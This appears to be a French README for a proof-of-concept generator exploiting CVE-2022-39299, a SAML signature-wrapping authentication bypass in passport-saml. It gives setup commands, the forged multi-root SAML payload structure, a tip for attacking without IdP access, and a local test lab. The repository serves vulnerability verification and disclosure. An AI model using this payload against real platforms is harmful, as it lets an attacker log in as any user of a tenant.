doyensec/cve-2022-39299_poc_generatorUn générateur simple d'exploit PoC pour CVE-2022-39299 afin de contourner l'authentification dans les intégrations SAML SSO utilisant des versions vulnérables de passport-saml
Avis : https://github.com/node-saml/passport-saml/security/advisories/GHSA-m974-647v-whv7
Correctif : https://github.com/node-saml/passport-saml/commit/8b7e3f5a91c8e5ac7e890a0c90bc7491ce33155e
Exemple de charge utile de base extraite des cas de test node-saml : https://github.com/node-saml/node-saml/blob/c1f275c289c01921e58f5c70ce0fdbc5287e5fbe/test/static/signatures/invalid/response.root-signed.multiple-root-elements.xml.
Auteur du bug : felixwilhelm
Auteur du générateur d'exploit (la partie facile) : Francesco Lacerenza
Un attaquant distant peut contourner l'authentification SAML SSO sur une plateforme en exploitant CVE-2022-39299 affectant la bibliothèque passport-saml.
Aucun exploit public n'était disponible (au moment de la rédaction) et l'avis a été publié le 10/12/2022 avec peu/pas d'informations. Doyensec a développé un générateur de Preuve de Concept (PoC) fonctionnel pour vérifier le problème sur les plateformes multi-locataires où l'administrateur du locataire peut configurer SAML SSO avec un IdP personnalisé.
Comme indiqué dans l'avis :
Une attaque réussie nécessite que l'attaquant possède un élément XML signé arbitraire du IdP. Selon le IdP utilisé, des attaques complètement non authentifiées (c'est-à-dire sans accès à un utilisateur valide) pourraient également être possibles si la génération d'un message signé peut être déclenchée.
La vérification vulnérable se trouve dans la fonction validatePostResponse à passport-saml-2.0.0/src/passport-saml/saml.ts:775
// Check if this document has a valid top-level signature
let validSignature = false;
if (this.options.cert && this.validateSignature(xml, doc.documentElement, certs!)) {
validSignature = true;
}
En particulier, validateSignature vérifie que doc.documentElement dans le document XML complet contient une signature valide. Comme la propriété documentElement renvoie le premier nœud racine du document, elle ne vérifiera la signature que sur le premier élément racine.
La fonction continue en vérifiant qu'il n'y a qu'une seule assertion dans le XML :
const assertions = xmlCrypto.xpath(doc, "/*[local-name()='Response']/*[local-name()='Assertion']") as HTMLElement[];
const encryptedAssertions = xmlCrypto.xpath(doc,
"/*[local-name()='Response']/*[local-name()='EncryptedAssertion']");
if (assertions.length + encryptedAssertions.length > 1) {
// There's no reason I know of that we want to handle multiple assertions, and it seems like a
// potential risk vector for signature scope issues, so treat this as an invalid signature
throw new Error('Invalid signature: multiple assertions');
}
En conséquence, l'analyseur XML analysera un document XML avec plusieurs racines. Alors qu'une signature ne peut s'appliquer qu'à un seul nœud racine, XPath peut traverser plusieurs nœuds racines pour trouver des éléments d'authentification et d'autorisation.
En conclusion, un nœud racine peut être signé (par exemple, un message d'erreur SAML générique) puis un autre nœud, non signé, pourrait contenir des informations d'authentification et d'autorisation modifiables. Ainsi, l'attaquant peut falsifier les informations d'authentification et accéder à n'importe quel compte du locataire.
REMARQUE : Le succès de l'exploitation dépend entièrement de la logique d'authentification interne liée à l'utilisation de la bibliothèque passport. Si la logique d'authentification fait entièrement confiance à l'objet de session authentifié résultant de passport.authenticate(...PASSPORT-SAML_OPTIONS...), alors elle est probablement vulnérable.
openssl dans le dossier du générateur de PoC :openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout key.pem -out cert.pem -days 7300
Alternativement, utilisez ceux présents dans ce dépôt.
Sur la plateforme cible, naviguez en tant qu'administrateur vers le panneau d'intégration SAML SSO. Ensuite, définissez le certificat utilisé pour valider les signatures du IdP comme celui présent dans ce dossier.
Configurez le payload_appendix.xml avec les éléments authn et authz nécessaires à la plateforme pour authentifier les utilisateurs SAML SSO. Vous pouvez trouver ces informations dans la documentation ou en construisant une intégration SSO fonctionnelle pour apprendre les éléments d'authentification valides.
Exécutez la commande suivante pour générer une réponse SAML signée multi-éléments racine contenant vos données falsifiées.
python3 payloadGenerator.py
La réponse SAML multi-éléments racine a la structure suivante :
<!— DÉBUT DU MESSAGE D'ERREUR SIGNÉ —>
<samlp:Response xmlns="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="IDVALUE" Version="2.0" IssueInstant="2022-28-08T14:38:05Z">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Responder">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:NoPassive">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:PartialLogout">
</samlp:StatusCode>
</samlp:StatusCode>
</samlp:StatusCode>
<samlp:StatusMessage>Random Error</samlp:StatusMessage>
</samlp:Status>
</samlp:Response>
<!— FIN DU MESSAGE D'ERREUR SIGNÉ. DÉBUT DES INFORMATIONS D'AUTHENTIFICATION NON SIGNÉES—>
<Response>
<saml:Assertion ID="whatever" IssueInstant="2022-10-30T18:00:00+00:00" Version="2.0">
<!— INFORMATIONS AUTHN ET AUTHZ FALSIFIÉES —>
</saml:Assertion>
</Response>
REMARQUE : Si vous voulez exploiter ce problème sans avoir accès à la configuration du IdP, modifiez simplement le payloadGenerator.py en substituant la variable signed_base_payload_unicode utilisée pour construire la charge utile finale. Pour que cela fonctionne, vous devez la remplacer par une réponse SAML signée ne contenant pas d'assertions. Bonne chance pour trouver un moyen d'en obtenir une depuis le IdP cible (une logique au cas par cas s'applique et aucune documentation n'est disponible à ce sujet).
Dans les organisations ayant activé l'intégration SAML SSO, les attaquants pourraient contourner l'authentification et se connecter en tant que n'importe quel utilisateur du locataire.
Bien que l'avis indique que l'attaquant pourrait utiliser "un élément XML signé arbitraire du IdP", la bibliothèque passport-saml empêche tout message XML contenant plusieurs assertions (voir l'extrait de code dans la section description). Cette limitation oblige l'attaquant à obtenir un message SAML signé qui ne contient pas d'assertion, comme un message d'erreur. La présence de tels messages dépend de l'implémentation du IdP.
Par exemple, les réponses SAML sans assertions sont directement supportées par la bibliothèque node-samlp d'Auth0.
Voir sur https://github.com/auth0/node-samlp/blob/master/lib/samlp.js
function buildSamlResponse(options) {
var SAMLResponse = templates.samlresponse({
id: '_' + utils.generateUniqueID(),
instant: utils.generateInstant(),
destination: options.destination || options.audience,
inResponseTo: options.inResponseTo,
issuer: options.issuer,
samlStatusCode: options.samlStatusCode,
samlStatusMessage: options.samlStatusMessage,
assertion: options.samlAssertion || ''
});
L'exemple ci-dessus montre la possibilité d'introduire des chemins de code menant à des messages signés sans assertions même en utilisant la technologie Auth0. En ce sens, les IdP des clients peuvent contenir de tels motifs.
Si un attaquant trouve un moyen de déclencher de tels messages, des attaques complètement non authentifiées (c'est-à-dire sans accès à un utilisateur valide) pourraient également être possibles.
En conclusion, les plateformes multi-locataires permettant des intégrations SAML SSO personnalisées par locataire vulnérables à CVE-2022-39299 permettent potentiellement des contournements d'authentification chaque fois que l'IdP du client supporte des messages d'erreur SAML signés sans assertions.
Nous avons effectué des tests localement en utilisant les ressources suivantes :
Générez le certificat de signature IdP dans le dossier du générateur de PoC
openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout idp-private-key.pem -out idp-public-cert.pem -days 7300
Exécutez l'IdP avec la commande suivante dans le dossier contenant le certificat et la clé générés
saml-idp --acsUrl http://127.0.0.1:3000/login/callback --audience https://127.0.0.1:3000/ --host 127.0.0.1
L'application nécessite une configuration supplémentaire pour fonctionner avec un IdP local. Remplissez simplement le fichier passport-saml-example/config/config.js avec les informations du IdP.
passport: {
strategy: 'saml',
saml: {
path: '/login/callback',
entryPoint: 'http://localhost:7000/saml/sso',
issuer: 'passport-saml',
cert: 'CERT_PASTED_HERE_IN_ONE_LINE_FROM_PREVIOUS_STEP'
}
}
De plus, package.json doit être modifié pour utiliser des versions vulnérables de passport. Extrayez toutes les versions nécessaires du code source cible si disponibles.
Une fois prêt, démarrez simplement l'application :
npm install
npm start